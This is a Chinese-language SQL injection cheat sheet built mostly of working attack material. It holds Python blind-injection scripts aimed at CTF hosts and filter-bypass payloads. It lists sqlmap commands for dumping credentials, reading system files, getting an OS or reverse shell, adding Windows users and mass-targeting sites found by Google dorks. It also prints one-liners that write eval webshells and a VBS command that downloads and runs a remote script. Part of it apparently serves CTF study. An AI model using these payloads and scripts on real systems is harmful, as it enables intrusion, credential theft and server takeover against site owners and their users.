SQL注入知识点全
SQL注入学习
- 基础知识点
- 盲注脚本
- 常用的后台类型
- 万能密码
- 过滤函数
- union绕过型
- sql异或注入与盲注
- SQL绕过学习
- 典型绕过例题
- 盲注常用函数
- 命令
- 枚举命令
- 文件系统命令
- 文件执行命令
- 典型命令
- 注入知识
- 报错注入
- 时间注入
- 布尔盲注
- union常用注入语句
- 盲注常用payload
- 其余类型典型payload总结
- 注入点
- 典型四个
- sql注入实战案例
基础知识点
sql注入基础知识点
盲注脚本
脚本格式一==–>参数为username与password的
更改username中的payload即可
#-*- coding:utf-8 -*-
from urllib.request import urlopen
from urllib import parse,request
import sys
import threading
url = 'http://11bc12886f7d4d28b33fedb94948cc8cb2ab9a1e14b447df.changame.ichunqiu.com/Challenges/index.php'
def get_database_length():
for i in range(1,sys.maxsize):
username= "admin' or length(database())>{0}#"
username = username.format(i)
values = {
"username":username, 'password':''}
data = parse.urlencode(values).encode('utf-8')
response = request.Request(url, data)
response = urlopen(response)
if len(response.read().decode()) != 4:
print("当前数据库长度为:", i)
return i
def get_database_name():
global lock
lit=list("0123456789qwertyuioplkjhgfdsazxcvbnmPOIUYTREWQASDFGHJKLMNBVCXZ")
#后台SQL语句形如:
#select xxx from xxx where username='' or 其他字段=xxx#
#我们把其他字段替换成user_n3me或者p3ss_w0rd即可得出表中的用户名和密码字段
username="admin' or p3ss_w0rd like '{0}%'#"
# username="admin' or p3ss_w0rd like '{0}%'#"
database=''
print("Start to retrive the database")
while True:
curId=0
while True:
if curId == len(lit):
break
i = curId
curId += 1
un=username.format(database+lit[i])
print(un)
values = {
"username":un, 'password':''}
data = parse.urlencode(values).encode('utf-8')
response = request.Request(url, data)
response = urlopen(response)
if len(response.read().decode()) == 4:
database=database+lit[i]
print("the database is :%s" % database)
break
if curId == len(lit):
print(database)
break
#print(get_database_length())
get_database_name()
盲注注入类型为一个post请求类
典型可使用
更改参数和payload进行代即可
import string
import requests
url = 'http://11bc12886f7d4d28b33fedb94948cc8cb2ab9a1e14b447df.changame.ichunqiu.com/Challenges/index.php'
headers = { 'User-Agent': "Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"}
payloads = string.ascii_letters + string.digits
temp = ''
for i in range(40):
print("hello")
for p in payloads:
payload = temp + p
name = "admin' or user_n3me like '{}%' ;#".format(payload)
data = dict(username=name, passwrod='test')
res = requests.post(url, headers=headers, data=data)
if (len(res.content) == 12):
temp = temp + p
print(temp.ljust(32, '.'))
break
布尔注入且请求为两个post类
更改payload与参数即可使用
布尔注入常用的payload
#payload
#原理-->if(expr1,expr2,expr3)函数来盲注,判断语句,当第一条语句是正确就执行第二条语句,不正确就执行第三条语句
if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))
if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)#即截取的内容等于f
if(ascii(substr((select flag from flag),%d,1))>%d,1,2)" % (x, mid)#即直接利用代-->即改里面的查询内容即可
脚本1
import requests
url = 'http://64ed7296-9aea-43ac-84ec-24e5c6f616a7.node1.buuoj.cn/index.php'
result = ''
for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((select flag from flag),%d,1))>%d,1,2)" % (x, mid)#
data = {
"id":payload
}
response = requests.post(url, data = data)
if 'Hello' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
脚本2
import requests
import re
register_url = 'http://220.249.52.133:40821/register.php'
login_url = 'http://220.249.52.133:40821/login.php'
for i in range(1, 100):
register_data = {
'email': '111@123.com%d' % i,
'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
'password': 'admin'
}
res = requests.post(url=register_url, data=register_data)
login_data = {
'email': '111@123.com%d' % i,
'password': 'admin'
}
res_ = requests.post(url=login_url, data=login_data)
code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
print(chr(int(code.group(1))), end='')
脚本3
import requests
import time
#url是随时更新的,具体的以做题时候的为准
url = 'http://165c605a-334c-4763-aba0-c01fabe7651a.node3.buuoj.cn/index.php'
data = { "id":""}
flag = 'flag{'
i = 6
while True:
#从可打印字符开始
begin = 32
end = 126
tmp = (begin+end)//2
while begin<end:
print(begin,tmp,end)
time.sleep(1)
data["id"] = "if(ascii(substr((select flag from flag),{},1))>{},1,2)".format(i,tmp)
r = requests.post(url,data=data)
if 'Hello' in r.text:
begin = tmp+1
tmp = (begin+end)//2
else:
end = tmp
tmp = (begin+end)//2
flag+=chr(tmp)
print(flag)
i+=1
if flag[-1]=='}':
break
布尔盲注类型且注入类型为get类
import requests
url = "http://11bc12886f7d4d28b33fedb94948cc8cb2ab9a1e14b447df.changame.ichunqiu.com/Challenges/index.php"
result = ""
for i in range(1,50):
low = 32
high =128
mid = (high+low)//2
while(low<high):
payload ="0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.get(url+payload)
if "YES" in html.text:
low = mid+1
else:
high = mid
mid = (high+low)//2
if(low ==32 or high==128):
break
result = result + chr(mid)
print(result)
#最基础的布尔注入,要爆其他内容,更改payload即可
#import requests
url="http:www.example.com"
result=""
for i in range(1,100):
for j in range(40,128):
payload="ascii(substr(database()%09from%09{0}%09for%091))={1}".format(i,j)
html=requests.get(url+payload)
if "" in html.text
result=result+chr(j)
print(result)
常用的后台类型
万能密码
万能密码情况1的逻辑代码
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
导致原因:对输入参数没有过滤
因此可以进行构造闭合实现绕过密码检测
因此代码可
user=admin')# user=admin')--+
#闭合且注释掉密码,从而实现绕过
万能密码情况2
string sql = select * from users where username = 'input_username' and password = 'input_password';
如果没有过滤掉’ 和=号–>即输入该不会报错这种情况
即可构造
username='='&password='='
从而实现绕过
因为’’=’’在sql中含义为真
过滤函数
如过滤掉反斜杠和单引号,双引号的情况
即利用该函数
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);//删除反斜杠,去掉转义
}
return htmlentities($str, ENT_QUOTES);//编码双引号和单引号
}
union绕过型
即该类型
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
因此可构造union联合查询–>即闭合前面的语句后进行查询后面的语句状况特点
Username=' union select '9b17d9b51d0d090939ca6ff11c7d8c1b&Password=jedi
#前面的为jedi的md5-->即构造两个相同
过滤很多类型
思路
①模糊测试判断那些被过滤掉了
典型出现这种情况
Sql injection detected–>即该字符的payload被过滤掉了
②正常的返回密码或者账号错误类–>即无过滤
如典型updatexml没有被过滤
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
使用方法–>更改select database语句为自己想查询的语句即可
select updatexml(1,concat(0x7e,(SELECT database()),0x7e),1);
③骚思路–
http分割注入
(把一个想执行的语句,拆散到两个参数里,并注释中间的东西,来达到注入的目的)
如
username=admin' or updatexml/*&password=*/(1,concat(0x7e,(select database()),0x7e),1) or '1
sql异或注入与盲注
SQL绕过学习
注意点特殊操作
①#使用时,如果传入时,如果无法实现注释–>可以url编码,防止无法实现注释功能
②如果关键字类被过滤–>拆分sql语句从而绕过–>即prepare与excute进行绕过
如
-1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#
③空格绕过特殊字符
判断是否过滤掉空格–>单独测其他字符是否可用,然后在联用空格看判定是否可用,如果前可,后不可即被过滤
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ ()
④如果注释符全部都被过滤
构造闭合的查询语句进行绕过
如
id=-1' union select 1,2,3'
⑤绕”和’
如果过滤了”或者’,但是没过滤
可利用\的转义功能进行逃逸
⑥绕information_schema.columns
过滤,直接information_schema.%09columns或者
information_schema.%09tables
如
查询语句为
select * from wp_news where id='可控1' and title='可控2';
可构造
select * from wp_news where id='a\' and title='or sleep(1)#'
参考链接
10种典型的绕过方式
典型绕过例题
绕过1
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
绕过思路
#利用group by与with rollup进行绕
原理:
普通一次查询
经过一次group by后的查询(count(*)为统计和)
在经过一次with rollup后的查询
即会对重和的置换为空
因此最终的payload
username=admin’//or//1=1//group//by//password//with/**/rollup#&password=
绕过2
($password==$_SESSION['password'])
直接将PHPSESSID中删除即,然后均删除即可绕过
绕过3
利用
and like 语句+爆破获取密码
思路
①匹配出多少个字符
and pwd like '%%%%%'
②匹配出账户密码
一个一个%进行代替换爆破
盲注常用函数
①substr()
substr(string, pos, len):从pos开始,取长度为len的子串
substr(string, pos):从pos开始,取到string的最后
②substring()
用法和substr()一样
mid()
用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的pos都是从1开始的
③left()和right()
left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串
④limit
limit pos len:在返回项中从pos开始去len个返回值,pos的从0开始
⑤ascii()和char()
ascii(char):把char这个字符转为ascii码
char(ascii_int):和ascii()的作用相反,将ascii码转字符
sql常用知识点
命令
枚举命令
指定注入方式
RT:
B : 基于Boolean的盲注(Boolean based blind)
Q : 内联查询(Inline queries)
T : 基于时间的盲注(time based blind)
U : 基于联合查询(Union query based)
E : 基于错误(error based)
S : 栈查询(stack queries)
python sqlmap.py –r header.txt --technique B -p username --current-user
--random-agent 设置代理
--crawl=2 爬取
--cookie "参数" --level=2 cookie注入
-b, --banner 检索数据库管理系统的标识
--current-user 检索数据库管理系统当前用户
--current-db 检索数据库管理系统当前数据库
--is-dba 检测DBMS当前用户是否DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--roles 枚举数据库管理系统用户的角色
--dbs 枚举数据库管理系统数据库
--tables 枚举的DBMS数据库中的表
--columns 枚举DBMS数据库表列
--dump 转储数据库管理系统的数据库中的表项
--dump-all 转储所有的DBMS数据库表中的条目
--search 搜索列(S),表(S)和/或数据库名称(S)
-D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
--exclude-sysdbs 枚举表时排除系统数据库
--start=LIMITSTART 第一个查询输出进入检索
--stop=LIMITSTOP 最后查询的输出进入检索
--first=FIRSTCHAR 第一个查询输出字的字符检索
--last=LASTCHAR 最后查询的输出字字符检索
--sql-query=QUERY 要执行的SQL语句
--sql-shell 提示交互式SQL的shell
--second-order 二次注入
#延时注入直接爆表
python3 sqlmap.py -r C:\Python27\sqlmap\sqlmap\bao\post.txt --batch --random-agent --delay=0.3 -p username -D p3rh4ps -T users -C username,password --dump --threads=10
#直接-u传post数据注入
sqlmap.py -u "http://g.1905.com/index.php?m=Home&c=Newsdetail&a=commentlist"
--data="p=1&id=946&type=1"
#搜索命令
搜索字段为password在数据库中的哪个位置的
python3 sqlmap.py -r C:\Python27\sqlmap\sqlmap\bao\post1.txt -p "txtName" -D "psyTest2009" --search -C password
文件系统命令
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件
sqlmap -u http://www.evil0x.com/ test.php?p=2 –file-read “/etc/passwd” -v 2
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
sqlmap -u http://www.evil0x.com/ test.php?p=2 –file-write /localhost/mm.php –file-dest
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
将本地的内容写到数据库中
sqlmap.py -u "http://www.nxadmin.com/sql-injection.php?id=1" –file-write /test/test.txt –file-dest /var/www/html/1.txt
将本地的test.txt写入到站点服务器的html目录下
还原数据库命令
mysql
restore database xxx from disk='F:\Databak\xxx.bak' with replace;
文件执行命令
--os-cmd=OSCMD 执行操作系统命令 #注意oracle数据库不可执行命令
#--os-cmd=whoami
--os-shell 交互式的操作系统的shell
--os-pwn #反弹shell
--sql-shell#执行sql的命令
#进行执行sql的命令即可
--reg-read 读一个Windows注册表项值
--reg-add 写一个Windows注册表项值数据
--reg-del 删除Windows注册表键值
-f 执行检查广泛的DBMS版本指纹
-b #获取banner信息
sql server的注入命令
#攻击组合命令
1.)--is-dba#检测是否是dba权限
2.)寻找绝对路径
①sql-shell方法
sql-shell> select @@datadir;
②os-shell方法
网页报错信息
phpinfo、探针
数据库查询、暴力破解
3.)sql-shell命令操作
查询操作
selecthost,user,password from mysql.user#查找账号密码
select load_file(‘D:/EmpireServer/web/index.php’)#读取文件内容
select @@datadir;#获取数据库的存储路径
select @@version;#查看版本
1. @@version() MYSQL版本
2. @@database() 当前数据库
3. @@user() 当前用户
4. @@datadir 当前数据库路径
5. @@version_compile_os 操作系统版本
6. @@plugin_dir 查看mysql插件目录
7. GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION; 开启外连
select IS_SRVROLEMEMBER('sysadmin') #查看是否开启了xp_cmdshell扩展进程模式
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';#查看是否是SA
更改操作
updatemysql.user set mysql.host='%' where mysql.user='127.0.0.1';
写马操作
select '<?php @eval($_POST[1])?>' into outfile '/data/www/heneng/cp/log.php'
4.)os-cmd -whoami操作直接提权
1.需要选择网站脚本语言,本次测试是php,所以选择“4”
2.在选择路径中选择“2”,自定义路径,输入“D:/EmpireServer/web”后未能直接执行命令,即直接定义绝对路径
3.直接os-shell即可
5.)os-cmd命令的几个骚操作
①利用os-cmd命令执行增加用户的命令
--os-cmd=net user 90sec 90sec /add
②利用os-cmd命令执行write写马入磁盘操作
--os-cmd="echo Set Post = CreateObject("Msxml2.XMLHTTP"):Set Shell = CreateObject("Wscript.Shell"):Post.Open "GET","http://127.0.0.1/3.0/383442049/kRskzln4I4J543X55MK/API_Shell.Users.txt",0 :Post.Send():Set aGet = CreateObject("ADODB.Stream"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile "c:\sec.vbs",2:wscript.sleep 1000:Shell.Run ("c:\sec.vbs") > c:\90sec.vbs"
6.)利用sql-shell直接写马
如果sql-shell不可的话可以考虑直接获取大马
或者利用echo进行写马
①echo “<%execute(request(“QQ”))%>” >D:\www_root\happyholiday\21.asp
②'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\\WWW\\bmfx.aspx'
7.)sqlmap完全自动化注入
sqlmap -uurl --smart --batch -a
8.)利用os-pwn返回马思路
--os-pwn --msf-path=/usr/share/metasploit-framework --threads=10
os-cmd进行操作配合路径
结合google hacking使用
python3 sqlmap.py -g "火线 inurl:php?id=" --batch --level 2 --risk 3 --retries 5 --random-agent --thread 3
python3 sqlmap.py -g "内蒙古 inurl:php?id= " --proxy "http://127.0.0.1:1080" --threads 5 --batch --answer "extending=N,follow=N,keep=N,exploit=n" --smart
-g #谷歌搜索
–proxy #代理 (挂了ss就直接代理本地)
–threads #线程
–batch #自动回复
–answer “extending=N,follow=N,keep=N,exploit=n” #这个可以对一些特定的问题作出回答,在自动化注入中用
–smart #当有大量目标时,这个就只检查基于错误的注入点
批量获取sql注入方法
典型sql-shell命令
典型命令
1)判断当前用户是否是dba
sqlmap.py -u 网址 --is-dba -v 1
2)--users:列出数据库管理系统用户
sqlmap.py -u 网址 --users -v 0
3)--passwords:数据库用户密码(hash)
sqlmap.py -u 网址 --passwords -v 0
sqlmap.py -u 网址 --passwords -U sa -v 0 #指定用户的密码
4)查看用户权限
sqlmap.py -u 网址 --privileges -v 0
sqlmap.py -u 网址 --privileges -U postgres -v 0
5)查看权限
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges #查看权限
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges -U root #查看指定用户权限
6)绕tamper
–tamper "space2morehash.py"
7)
--dump-all --exclude-sysdbs -v 0 #列出当前数据库的所有表
8.)cookie注入
即cookie中的id参数注入类
sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "id=27" --table --level 2
典型sql注入
sqlmap os-shell命令使用探索
sqlmap tamper绕过
注入知识
报错注入
适用于
–>对于union等关键字被过滤或者空格需要多个类,但空格被过滤类,可以典型利用报错注入爆字段
#①爆库-->利用^绕等同于and
^extractvalue(1,concat(0x7e,(select(database()))))%23
#②爆表
^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables))))%23
#③爆对应数据库的表名
^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
#④爆字段
^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
#⑤爆内容
^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
#left(password,30)-->即如果只爆部分内容类,可以控制从左读取还是从右开始读取进行绕
#right(password,30)-->从右开始绕
时间注入
mysql类型
#单独的
#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3
#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left
##整体使用-->更改115或者r即可
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+ ?id=1' and if((substr((select user()),1,1)='r'),sleep(li5),1)--+
oracle
手注
1=1 and bxrxh like '201902323' escape '\' AND 1=(select decode(substr(user,1,1),'H',DBMS_PIPE.RECEIVE_MESSAGE(CHR(75)||CHR(79)||CHR(102)||CHR(120),5),0) from dual)
oracle时间注入
布尔盲注
原理:
控制前面的字符进行代比较即可
①利用比较字符的思路代出
#如
#后台的数据为a
#则可以利用该方式状况进行判断出后面是否相同
id=1 'and 'f‘=’
②结合大于小于符号类
1 ' and 'f'<'
③结合substring(),mid(),substr()等截取函数联合使用
如 截取这个查询数据的第一位
select mid((select concat(user,0x7e,pwd)from wp_user),1,1 )
mysql类型
?id=1' and substr((select user()),1,1)='r' -- + ?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值
?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1
#利用or ascii码类代截取判断
-1 or ascii(substr(database() from 1 for 1)) < 120;
#特殊绕法
将||或变成连接字符进行绕
SQL_MODE
sql_mode:sql_mode是一组mysql支持的基本语法及校验规则。
设置sql_mode:命令为 SET GLOBAL sql_mode=‘mode’;或者SET SESSION sql_mode=‘mode’;(mode替换为实际配置)。
常用sql_mode: PIPES_AS_CONCAT 将"||"视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样是,也和字符串的拼接函数Concat想类似
其他详情可借鉴 https://blog.csdn.net/ssz1219175635/article/details/88429479
如
查询后台语句为
sql = " select " . sql = "select ".sql="select".post[‘query’]."||flag from Flag";
1;set sql_mode=pipes_as_concat;select 1
可以利用这个绕
判断如果输入数字有回显,其余无即可判断后面有||
select *,1|| flag from Flag
select 1 from 即返回的均为1
union常用注入语句
union类
#判断注入点类
admin 'or 1=1 union select 1,2,3 # 看回显就完事 group_concat(table_name) from information_schema.tables where table_schema=database() #直接报表的语句 #报字段类-->即直接爆字段 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users' union select group_concat(id,username,password) from content # #爆文件 union select /load_file('/var/www/html/secret.php') #连代系统执行命令类 #联代sysy_eval代 union all select NULL,NULL,NULL,NULL,NULL,sys_eval('Powershell "string="ipconfig";[convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(string))"'),NULL
#写马
powershell "write-output ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\"d2Vic2hlbGw=\"))) | out-file -filepath D:\xxxxx\xxxxxxx\aspnet_client\system_web\4_0_30319\last3time.aspx;"
##实战中的一个
) UNION ALL SELECT NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Neqy
place_id=10) UNION ALL SELECT NULL,NULL,NULL,NULL,group_concat(SCHEMA_NAME),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.schemata-- Neqy&active_id=20&active_id=20
盲注常用payload
#ascii码执行的代思路
#爆表名
ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{ 0},1))={ 1}
#爆字段
/**/or/**/ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),1,1))=102
如果过滤了,
ascii(substr((select%09flag%09from%09flag)from%09{ 0}%09for%091))={ 1}
其余类型典型payload总结
#宽字节注入
id=%df' union select 1,0x61646d696e,group_concat(column_name) from information_schema.columns where table_name = char(102,49,52,103) #布尔注入 id=1' and ascii(substr(database(),1,1))>114
#时间注入
id=1' and if(ascii(substr(database(),1,1))>114,sleep(3),null) #爆错注入 id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)
或者
id=1' and extractvalue(1,concat(0x7e,(select database()))) #写入一句话木马 id=1' union select 1,2,"<?php @eval($_GET['string'])?>" into outfile xxx.php
#注入读取服务器
id=1' union select load_file('/etc/passwd') #亦或注入 id=1'^(ascii(mid((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),1,1))=1)='1'
时间注入
#延时注入
'and(select*from(select+sleep(5))a)and'a'='
#延迟10秒
#判断哪些语句被过滤
#判断if语句是否被过滤
'and(select*from(select+sleep(if(1=1,1,3)))a)and'a'= #判断user是否被拦截 继续使用'and(select*from(select+sleep(if(user()='a',1,3)))a)and'a'='去测试,发现延迟六秒。说明user函数没有被拦截 #判断substr是否被拦截 用'and(select*from(select+sleep(if(substr(user(),1,1)='a',1,3)))a)and'a'='去测试,发现没延迟。说明substr被拦截了,接着我使用mid、substring来替换substr函数均被拦截 #判断mid这些语句是否被拦截 用'and(select*from(select+sleep(if(user()+like+'a%25',1,3)))a)and'a'='去测试,发现没延迟。说明mid、substring、like被拦截了 绕代码层过滤的一种思路 'and(select*from(select+sleep(if(user()>'d',3,0)))a)and'a'='
利用ascii码比较进行绕
user更改为其他的,将数字改为1之类的即可
正则(regexp)注入
适用于过滤了in,like,等于符号,<,>,’类
本质–>即把等于类符号变成了regexp
regexp注入与like注入
#知识点
https://xz.aliyun.com/t/8003#toc-1
#典型题目1
https://blog.csdn.net/weixin_45940434/article/details/103722055
#过滤掉的内容
$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
#典型题目2
https://blog.csdn.net/qq_42181428/article/details/105061424
手工注入总结
注入点
典型四个
1.)insert
insert into table_name values()
1.)注入点在table_name处
直接控制表即完事
2.)注入点在values的参数中
直接插入一个查询语句即可绕过
如
可控位置
insert into wp_user values(1,1,'可控位置');
思路先闭合,在构造自己想要的字段即可
insert into wp_user values(1,1,'1'),(2,2,(select pwd from wp_user limit 1));
delete
典型位置-->where语句后
delete from wp_user where id={ 可控};
控制无法删除方法-->控制时间延缓
‘and sleep(1)'
update
典型位置-->set语句后
如控制id
update wp_user set id={ 3(可控)},user='xxx', where user='123';
select
①在select_expr处
如
#查询当前时间 select now() 结果:2017-11-11 15:23:11
now()即为select_expr
盲注还在控制显示位置绕
如select now() as title(即查找作为title进行显示)
②在table_references(即指定数据源处)
控制表即可
③注入点在where或者having处(最常见,控制符号闭合代即完事)
④注入点在group by处
⑤注入点在limit处version()
sql注入实战案例
啊D注入,利用sqlmap的os-cmd写马入磁盘的骚案例
sql注入判断经验典型利用and语句进行注入思路
全局变量查询
函数,全局变量 | 说明 |
---|---|
version() | 数据库系统版本 |
@@datadir | 数据库文件路径 |
@@basedir | mysql 安装路径 |
user() | 用户名 |
current_user() | 当前用户名 |
system_user() | 系统用户名 |
database() | 当前打开的数据库名 |
全局变量典型
①#即如果and语句和or语句没被过滤类且直接可代时可直接利用该思路去注入
and ascii(substr(database(),1,1))>114 and ''='
②列出100条数据的方法
select top ..... from ... order by ....
如
select top 100 from user_id order by no --+
实战常用语句
常用payload
①
and 1=convert(int,stuff((select quotename(PassWord) from Users where LoginName='admin' for xml path('')),1,0,''))--+
②延时注入的payload
';WAITFOR DELAY '0:0:5'----+ ③布尔盲注的payload ' AND 4529=4529 AND 'AwIO'='AwIO